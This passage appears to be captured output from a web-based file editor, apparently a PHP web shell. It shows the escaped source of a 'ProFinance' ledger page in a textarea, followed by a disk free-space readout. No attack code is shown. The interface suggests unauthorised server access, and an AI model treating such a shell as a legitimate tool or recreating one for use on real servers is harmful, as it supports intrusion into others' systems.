                                  &lt;td&gt;&lt;/td&gt;
                                  &lt;th class=&quot;right&quot;&gt;Total :&lt;/th&gt;
  &lt;th&gt;&lt;?php echo number_format($total[&#039;sum(debit)&#039;]);?&gt;&lt;/th&gt;
  &lt;th&gt;&lt;?php echo number_format($total[&#039;sum(crdit)&#039;]);?&gt;&lt;/th&gt;
                                  &lt;td&gt;&lt;/td&gt;
                                  &lt;td&gt;&lt;/td&gt;
                              &lt;/tr&gt;
                              &lt;/tbody&gt;
                          &lt;/table&gt;
                      
                  &lt;/div&gt;&lt;!-- /col-md-12 --&gt;
              &lt;/div&gt;&lt;!-- /row --&gt;

&lt;/section&gt;&lt;!--/wrapper --&gt;
&lt;/section&gt;&lt;!-- /MAIN CONTENT --&gt;
  &lt;!--main content end--&gt;
  
  
      &lt;!--footer start--&gt;
      &lt;footer class=&quot;site-footer&quot;&gt;
          &lt;div class=&quot;text-center&quot;&gt;
              &lt;?php echo date(&#039;Y&#039;);?&gt; - ProFinance TM
              &lt;a href=&quot;#&quot; class=&quot;go-top&quot;&gt;
                  &lt;i class=&quot;fa fa-angle-up&quot;&gt;&lt;/i&gt;
              &lt;/a&gt;
          &lt;/div&gt;
      &lt;/footer&gt;
      &lt;!--footer end--&gt;
  &lt;/section&gt;

    &lt;!-- js placed at the end of the document so the pages load faster --&gt;
    &lt;script src=&quot;assets/js/jquery.js&quot;&gt;&lt;/script&gt;
    &lt;script src=&quot;assets/js/bootstrap.min.js&quot;&gt;&lt;/script&gt;
    &lt;script src=&quot;assets/js/jquery-ui-1.9.2.custom.min.js&quot;&gt;&lt;/script&gt;
    &lt;script src=&quot;assets/js/jquery.ui.touch-punch.min.js&quot;&gt;&lt;/script&gt;
    &lt;script class=&quot;include&quot; type=&quot;text/javascript&quot; src=&quot;assets/js/jquery.dcjqaccordion.2.7.js&quot;&gt;&lt;/script&gt;
    &lt;script src=&quot;assets/js/jquery.scrollTo.min.js&quot;&gt;&lt;/script&gt;
    &lt;script src=&quot;assets/js/jquery.nicescroll.js&quot; type=&quot;text/javascript&quot;&gt;&lt;/script&gt;
&lt;script src=&quot;admin/ajax/js/del.js&quot;&gt;&lt;/script&gt;

    &lt;!--common script for all pages--&gt;
    &lt;script src=&quot;assets/js/common-scripts.js&quot;&gt;&lt;/script&gt;

    &lt;!--script for this page--&gt;
 &lt;script type=&quot;text/javascript&quot; src=&quot;assets/js/gritter/js/jquery.gritter.js&quot;&gt;&lt;/script&gt;
    &lt;script type=&quot;text/javascript&quot; src=&quot;assets/js/gritter-conf.js&quot;&gt;&lt;/script&gt;    
  
  &lt;/body&gt;
&lt;/html&gt;
</textarea>  </div>
</div>
<div class="kotak">
  <div class="l">
    Free Space : 77943013376 Byte
  </div>
  <div class="r">
  </div>
</div>